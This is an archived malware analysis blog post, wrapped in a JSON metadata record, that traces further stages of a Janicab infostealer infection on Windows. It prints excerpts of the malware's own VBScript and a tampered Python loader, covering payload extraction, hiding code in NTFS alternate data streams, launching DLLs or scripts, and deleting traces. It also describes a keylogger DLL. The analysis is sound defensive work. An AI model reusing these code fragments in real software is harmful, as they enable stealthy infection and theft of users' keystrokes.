{
	"id": "a9273bf8-acf2-46a3-941e-e7ebea2e9cb7",
	"created_at": "2026-04-06T00:19:58.15259Z",
	"updated_at": "2026-04-10T03:21:40.850715Z",
	"deleted_at": null,
	"sha1_hash": "b32bfacdbba0816f0138e21186178556ae8b3efa",
	"title": "Janicab Series: Further Steps in the Infection Chain",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 189378,
	"plain_text": "Janicab Series: Further Steps in the Infection Chain\r\nPublished: 2022-05-26 · Archived: 2026-04-05 12:48:08 UTC\r\nIn late April 2022, I was requested to analyze a software artifact. It was an instance of Janicab, a software with\r\ninfostealing and spying capabilities known since 2013. Differently to other analyses I do as part of my job, in this\r\nparticular case I can disclose parts of it with you readers. I’m addressing those parts in a post series. Here, I’ll\r\ndiscuss further stages of a Janicab infection on Microsoft Windows targets, based on this specific sample. If you\r\nwant to know more about the first infection stages, I recommend you reading this post.\r\n2.vbe\r\nAs for .vbe, analyzed here, 2.vbe is a VBScript encoded with the Windows Script Encoder. However, the script is\r\ntoo long for being fully disclosed as I did for .vbe. Therefore, in this section I’m going to focus on its relevant\r\nparts.\r\nInitially, 2.vbe makes a copy of SMTP-error.txt.lnk and names that copy as SMTP-error.txt.lnk.tmp. As SMTP-error.txt.lnk, analysed here, the artifact is placed into the temporary files directory (%TMP%). The intention of the\r\ndeveloper is likely to blend SMTP-error.txt.lnk in the content of %TMP%.\r\nFunction ExtractEmbeddedFile(SourceFile, DestFile, StartPos, EmbbededFileSize, prepend, reverse)\r\n'On Error Resume Next\r\nSet oInputFile = objFSO.GetFile(SourceFile)\r\nSet oData = oInputFile.OpenAsTextStream\r\nData = oData.Read(oInputFile.Size)\r\noData.Close\r\nStartFrom = StartPos\r\nScript = Mid(Data, StartFrom+1, EmbbededFileSize)\r\nSet MyFile = objFSO.OpenTextFile(DestFile, 2, True)\r\nMyFile.Write prepend\r\nIf reverse = \"1\" Then\r\nMyFile.Write rev(Script)\r\nElse\r\nMyFile.Write Script\r\nEnd If\r\nMyFile.Close\r\nEnd Function\r\nListing 1\r\n-\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 1 of 10\n\n2.vbe extracts further artifacts from SMTP-error.txt.lnk.tmp by calling the same function\r\n2.vbe drops several files on disk by extracting them from SMTP-error.txt.lnk.tmp. The extraction function is\r\nalways the same across the various drops and it is similar to that one used by .vbe with a couple of enhancements.\r\nA first enhancement consists in the possibility of prepending the extracted content with a prefix provided as an\r\nargument. A second enhancement consists in the capability of reversing the order of the characters extracted from\r\nSMTP-error.txt.lnk.tmp. The reverse extraction feature is controlled by a dedicated argument. Listing 1 shows the\r\nextraction function.\r\nFigure 1\r\n-\r\nSMTP-error.txt decoy file dropped by 2.vbe\r\nThe first file dropped by 2.vbe is named SMTP-error.txt and it is placed in %TMP%. It is originally embedded at\r\nthe char offset 8685 of SMTP-error.txt.lnk.tmp in reverse order and it is 1048 characters long. As you may notice\r\nfrom Figure 1, this artifact is a text file containing SMTP error messages. Most likely, this is a decoy file aimed at\r\nletting the victim think that the just downloaded file was indeed an harmless text containing some SMTP error\r\nmessages. Notice the filename recalling the initial artifact of the infection chain (with the exclusion of the .lnk\r\nsuffix). Curious fact: after having dropped the text file, 2.vbe tries to execute it either via powershell.exe or\r\ncmd.exe. I’m not going to speculate on the possible explanations for such a behavior.\r\nzipExe = \"expand.exe\"\r\nzipFilename = \"cab.cab\"\r\nzipOffset = 0000000009733\r\nzipSize = 00002787324\r\ncall ExtractEmbeddedFile(lnkFilename, zipFilename, zipOffset, zipSize, \"MSCF\",\"\")\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 2 of 10\n\nunzipAllCmd = zipExe \u0026 \" \" \u0026 zipFilename \u0026 \" . -F:*\"\r\nobjShell.Run unzipAllCmd, 0, 1\r\nListing 2\r\n-\r\n2.vbe extracts a cabinet file cab.cab and extracts its content by leveraging expand.exe utility\r\nA second file dropped by 2.vbe is named cab.cab and it is also placed in %TMP%. It is originally embedded at the\r\nchar offset 9733 of SMTP-error.txt.lnk.tmp and it is 2787324 characters long. This artifact is a cabinet file. The\r\nextraction function is invoked with a prefix argument consisting of the cabinet files signature (MSCF). After\r\nhaving dropped cab.cab, 2.vbe decompresses it by leveraging the expand.exe utility. Listing 2 shows that part of\r\n2.vbe responsible for extracting, dropping, and decompressing cab.cab file. The cabinet archive contains many\r\nartifacts and I’m going to discuss them in a dedicated section.\r\nvbeFilename = objShell.ExpandEnvironmentStrings(\"%UserProfile%\") \u0026 \":.vbe\"\r\nvbeOffset = 0000002797057\r\nvbeSize = 00000615149\r\ncall ExtractEmbeddedFile(lnkFilename, vbeFilename, vbeOffset, vbeSize, \"#@~^\",\"\")\r\nListing 3\r\n-\r\n2.vbe extracts a Windows Script Encoded payload and stores it as an NTFS alternate data stream\r\nFigure 2\r\n-\r\n.vbe alternate stream stored at the %USERPROFILE% directory\r\n2.vbe stores a payload as an NTFS alternate data stream of the directory pointed by the %USERPROFILE%\r\nenvironment variable. The name of such a stream is .vbe. As you can see from Listing 3, the extraction function is\r\ncalled again with the Windows Script Encoder tag as the prefix argument. Indeed, once stored, the stream starts\r\njust with that prefix (Figure 2). The payload is located at the char offset 2797057 of SMTP-error.txt.lnk.tmp and it\r\nis 615149 characters long. I’ll analyze it in a dedicated post.\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 3 of 10\n\nFunction isXP()\r\nxp = 0\r\nSet objWMIService = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\r\nSet colOperatingSystems = objWMIService.ExecQuery(\"Select * from Win32_OperatingSystem\")\r\nFor Each objOperatingSystem in colOperatingSystems\r\nmsg = objOperatingSystem.Version\r\nIF Mid(msg,1,3)=\"5.1\" Then\r\nxp = 1\r\nEND IF\r\nNext\r\nisXP = xp\r\nEnd Function\r\nFunction runOnXP()\r\npath = objShell.ExpandEnvironmentStrings(\"%userprofile%\")\r\nSet objFolder = objFSO.GetFolder(path)\r\npath = objFolder.ShortPath\r\nSet objFolder = Nothing\r\nuserProfilePath = split(path, \"\\\")\r\nUsername = userProfilePath(Ubound(userProfilePath))\r\nSet userProfilePath = Nothing\r\nobjShell.currentdirectory = path \u0026 \"\\..\"\r\nobjShell.Run \"cscript \"\"\" \u0026 Username \u0026 \"\"\":.vbe\", 0, 0\r\nobjShell.currentdirectory = path\r\nEnd Function\r\nListing 4\r\n-\r\n2.vbe checks if the operating system is Microsoft Windows XP and runs a specific payload if that check tests true\r\nOnce 2.vbe has dropped all files and payloads, it checks for the operating system installed on the infected\r\nmachine. If the installed operating system is Microsoft Windows XP, then 2.vbe executes the just mentioned\r\npayload stored as an NTFS alternate data stream. The operating system check is implemented by querying the\r\nWindows Management Instrumentation (WMI) API for VBScript and verifying if the operating system version is\r\n5.1. Listing 4 shows both the operating system check function (isXP) and the launching function (runOnXP).\r\nFunction run_dll_or_py(arg1, arg2, arg3)\r\nSet tmpObj = CreateObject(\"WScript.Shell\")\r\noldCurrDir = tmpObj.CurrentDirectory\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 4 of 10\n\ntmpObj.CurrentDirectory = tmpPath \u0026 \"\\zipContent\\Python\"\r\ndllPath = arg1\r\ndllFuncName = arg2\r\nkeepOpen = arg3\r\noutFile = tmpPath \u0026 \"\\pargs.txt\"\r\nSet objFile = objFSO.CreateTextFile(outFile,True)\r\nobjFile.Write dllPath \u0026 vbCrLf \u0026 dllFuncName\r\nobjFile.Close\r\ntmpObj.Exec(\"rundll32.exe python27.dll, Py_Initialize\")\r\ntmpObj.CurrentDirectory = oldCurrDir\r\nSet tmpObj = Nothing\r\nEnd Function\r\nListing 5\r\n-\r\n2.vbe routine responsible for initializing an embedded Python 2.7 environment\r\nIf the victim operating system isn’t Microsoft Windows XP, then 2.vbe moves to the zipContent directory. 2.vbe\r\ncreates the zipContent directory after by expanding the content of cab.cab artifact. Later, 2.vbe calls the function\r\nrun_dll_or_py showed in Listing 5. Although run_dll_or_py expects three arguments, the second takes an empty\r\nstring and the third isn’t used by the function. The only meaningful argument is the first: the path to a Python\r\nscript extracted from cab.cab and named replace.py. Function run_dll_or_py writes the path to replace.py in a file\r\nnamed pargs.txt and stored in %TMP%. Eventually, run_dll_or_py initializes a Python 2.7 environment,\r\nembedded in 2.vbe, by calling the Py_Initialize export of the python27.dll library (originally stored in cab.cab).\r\nimport ctypes, sys, os, imp\r\nargsFilePath = os.getenv(\"tmp\") + \"\\\\pargs.txt\"\r\nif os.path.isfile(argsFilePath):\r\nwith open(argsFilePath, \"r\") as f:\r\ndllPath = f.readline().replace('\\r', '').replace('\\n','')\r\ndllFuncName = f.readline().replace('\\r', '').replace('\\n','')\r\n#ctypes.windll.user32.MessageBoxA(0, dllPath + dllFuncName, \"title\",1)\r\nos.remove(argsFilePath)\r\nif \".py\" in dllPath.lower():\r\nimp.load_source(\"a\", dllPath)\r\nelse:\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 5 of 10\n\nmydll = ctypes.cdll.LoadLibrary(dllPath)\r\ngetattr(mydll,dllFuncName)()\r\nListing 6\r\n-\r\nHacked version of codecs.py containing a launcher for DLLs and Python scripts\r\nThe content of pargs.txt is consumed by another file originally compressed in cab.cab: codecs.py. Codecs.py is a\r\nhacked copy of a legitimate Python script originally coded to implement a registry of encoders and encoding-related helpers. This hacked version includes an initial code snippet (Listing 6) aimed at reading the pargs.txt file\r\nand executing each Python script or DLL pointed by any path written in it. However, codecs.py isn’t triggered and\r\nwhatever got written into pargs.txt is never executed. It is possible that run_dll_or_py was originally coded to\r\nexecute DLLs or Python scripts (as from the function name) on Microsoft operating systems different from XP by\r\ninitializing an embedded Python execution environment, writing the modules to be launched in pargs.txt, and\r\neventually execute them by triggering codecs.py. I cannot speculate on whatever lead to the observed inconsistent\r\nstate.\r\nFunction deleteLeftOvers()\r\nobjShell.currentdirectory = tmpPath\r\nOn Error Resume Next\r\nFiles = Array(zipFilename, zipExe, OldLnkFilename, lnkFilename, doneFile, \"zipContent\", \".vbe\", \"2.vbe\"\r\nFor Each file in Files\r\n If objFSO.FolderExists(file) Then\r\nobjFSO.DeleteFolder file, 1\r\n End If\r\n If objFSO.FileExists(file) Then\r\n objFSO.DeleteFile file, 1\r\n End If\r\nNext\r\nEnd Function\r\nListing 7\r\n-\r\n2.vbe tries to cover its tracks by deleting all the files dropped during the infection chain\r\nBy coming back to the 2.vbe artifact, I observe that it ends by entering in a loop checking for the existence of a\r\nfile named done.txt and located in %TMP%. At each iteration of that loop, 2.vbe pauses for a second. Once that\r\nfile has been found, 2.vbe cleans the tracks of the entire infection chain by deleting all the files dropped from from\r\nSMTP-error.txt.lnk. The only artifact left on the infected system is SMTP-error.txt.lnk.tmp. The function\r\nresponsible for cleaning the tracks is called deleteLeftOvers and it is showed in Listing 7.\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 6 of 10\n\nd~python~%appdata%\\Python\r\nf~ftp\\runner.py~%userprofile%:runner.py\r\nf~ftp\\ftp.py~%userprofile%:ftp.py\r\nf~ftp\\PythonProxy.py~%userprofile%:PythonProxy.py\r\nf~ftp\\plink.exe~%userprofile%:plink.exe\r\nf~ftp\\junction.exe~%userprofile%:junction.exe\r\nf~k.dll~%userprofile%:k.dll\r\nListing 8\r\n-\r\nFull content of map.txt\r\nWhat is the component responsible for creating done.txt and therefore controlling when the infection chain\r\nintrrupts? It would be replacer.py if that was executed. As already mentioned, replacer.py is a Python script and its\r\nbehavior may be summarized as follows:\r\n1. It touches a file called kill.txt under %TMP%. It is possible that the presence of such file could trigger\r\nsome application killing. However, I wasn’t able to find the software component responsible for executing\r\nthat task.\r\n2. It does some file replacement based on a file named map.txt and originally included in cab.cab. Map.txt\r\ncontains a mapping between source files or directories and destination files or directories (separated by the\r\nsymbol ~). Each line in map.txt represents a different replacement rule. Each line may start with either f~\r\nor d~. In the former case, the source file will override the destination file. In the latter case, the association\r\nis about a directory (therefore, the source directory will override the destination directory). The content of\r\nmap.txt is showed in Listing 8. As you may notice, all the mapping rules regarding single files are\r\ntargeting alternate data streams of the directory pointed by %USERPROFILE% environment variable.\r\n3. Removes both kill.txt and map.txt.\r\n4. It executes janicab malware by issuing cscript.exe (I’m going to analyse it in a dedicated post).\r\n5. It touches the done.txt file.\r\n6. It moves to the parent directory.\r\ncab.cab\r\nCab.cab is one of the artifacts embedded in SMTP-error.txt.lnk. It is a cabinet file containing many files. Cab.cab\r\nexpands to a directory named zipContent containing what follows:\r\nreplacer.py. It is a Python script responsible for replacing files according to the file mapping contained in\r\nmap.txt. I discussed replaced.py with a greater detail in the previous section.\r\nmap.txt. It is a text file containing the replacement rules enforced by replacer.py. Each line in map.txt\r\nrepresents a file or directory replacement. I discussed map.txt with a greater detail in the previous section.\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 7 of 10\n\nFigure 3\r\n-\r\nk.dll registers a keyboard hook to collect key strokes\r\nFigure 4\r\n-\r\nk.dll collects the windows headings to contextualize the stolen information\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 8 of 10\n\nFigure 5\r\n-\r\nk.dll may store a log of its runs on the infected system\r\nFigure 6\r\n-\r\nk.dll logs the key strokes in a NTFS alternate data stream of %APPDATA%\r\nk.dll. It is a DLL implementing a keylogger and clipboard catcher. K.dll sets a low level keyboard hook via\r\nSetWindowsHookExW. Figure 3 shows evidence collected in a debugger where SetWindowsHookExW is\r\ncalled with 0xD passed as the first argument, corresponding to the WH_KEYBOARD_LL constant. The\r\nhooking function invokes the GetAsyncKeyState and GetKeyState to track the user keystrokes. K.dll\r\ncaptures windows headings to contextualize the stolen information. Figure 4 shows evidence of such a\r\nbehavior collected after inspecting the API calls traces. The logged keys are stored in a NTFS alternate data\r\nstream of %APPDATA% directory with name kl (Figure 6). Every time is launched, k.dll checks for the\r\nexistence of a file named killKL.txt in %TMP%\\ReplacedData. If it finds that file, then k.dll logs the\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 9 of 10\n\ntimestamp of such a check in %APPDATA%\\Roaming\\Stormwind\\Log.log. While the existence of\r\nkillKL.txt may represent an indication of compromise, Log.log may turn useful for forensic purposes as a\r\npotential source of timestamps for the attacker’s activities on the infected system. Figure 5 shows the\r\ncontent of Log.log as it appears in a safe environment after a few runs of k.dll.\r\nA directory named python. This directory contains all the required files to embed a Python 2.7 execution\r\nenvironment on the infected systems, including legitimate binaries, DLLs, and compiled Python modules\r\n(.pyc). Among those, here I mention codec.py as an hacked copy of a legitimate module containing\r\nencoding utilities. I discuss about codec.py with a greater detail in the previous section.\r\nA directory named ftp. This directory contains three applications: a ftp server, a proxy server, and a SSH\r\nserver. All those applications are mainly coded in Python. PythonProxy.py implements an HTTP proxy\r\nserver. Ftp.py implements a FTP server leveraging Junction, a legitimate application belonging to the\r\nsysinternals suite, to manage directory aliases. Indeed, ftp directory contains an instance of Junction\r\n(junction.exe). Ftp directory contains runner.py, a command line tool coded in Python acting as an interface\r\nfor both ftp.py and PythonProxy.py. In addition, runner.py implements a SSH server leveraging plink, a\r\nbackend utility for PuTTY . Indeed, ftp directory contains an instance of plink client (plink.exe).\r\nThe next post of this series will push the analysis further along the infection chain, by discussing the Janicab core\r\nartifact. As always, if you want to share comments or feedbacks (rigorously in broken Italian or broken English)\r\ndo not esitate to drop me a message at admin[@]malwarology.com.\r\nSource: https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nhttps://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/"
	],
	"report_names": [
		"janicab-series-further-steps-in-the-infection-chain"
	],
	"threat_actors": [],
	"ts_created_at": 1775434798,
	"ts_updated_at": 1775791300,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b32bfacdbba0816f0138e21186178556ae8b3efa.pdf",
		"text": "https://archive.orkl.eu/b32bfacdbba0816f0138e21186178556ae8b3efa.txt",
		"img": "https://archive.orkl.eu/b32bfacdbba0816f0138e21186178556ae8b3efa.jpg"
	}
}